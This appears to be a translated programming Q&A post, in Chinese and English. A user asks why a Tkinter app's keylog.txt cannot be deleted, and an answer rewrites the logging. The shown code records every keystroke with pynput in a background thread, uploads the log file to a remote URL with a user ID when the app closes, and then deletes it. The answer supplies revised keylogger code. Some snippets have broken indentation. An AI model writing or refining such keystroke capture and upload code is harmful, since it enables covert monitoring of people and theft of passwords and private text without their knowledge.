该进程无法访问该文件,因为它正被另一个进程使用:'keylog.txt'

The process cannot access the file because it is being used by another process: 'keylog.txt'

我正在尝试构建一个 Python Tkinter 应用程序

我在其中使用 threading

我想要实现的目标 - 当我 运行 threadkeylogger code 下面的代码 & 数据存储在 Keyloge.txt 中 & 当用户退出应用程序时,我正在尝试删除此 keylog file。但问题是,当我试图删除 keylog.txt 时,它无法删除,因为进程中的线程正在使用它

那么有什么方法可以删除 keylog.txt 文件吗???

线程代码

ther = threading.Thread(target=threading12)
ther.daemon = True
stop_threads.start()

键盘记录器代码

log = logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")

def on_press(key):
    logging.info(str(key))

def threading12():
    with Listener(on_press=on_press) as listener:
    listener.join()

当有人退出应用程序时

def on_closing12():
if messagebox.askokcancel("Quit", "Do you want to quit?"):
    date = dt1.today().strftime('%Y-%m-%d')
    if os.path.isfile("keylog.txt"):
        myobj = {'userid': row2,'date': date}
        url = 'https://example.com/getkey'
        with open('keylog.txt', 'rb') as im:
            files = {'file': im}
            r = requests.post(url, files=files, data=myobj)      #sending file to example.com            
        time.sleep(0.4)
        os.remove('keylog.txt')   #<----- removing the file
    time.sleep(0.6)
    root.destroy()
    os._exit(1)


 root.protocol("WM_DELETE_WINDOW", on_closing12)

尝试 open/close 每个日志行的文件?

键盘记录器

import time

def on_press(key):
    with open('keylog.txt', 'a') as logfile:
        now = time.asctime()
        log_line = '{} - {}\n'.format(now, str(key))
        logfile.write(log_line)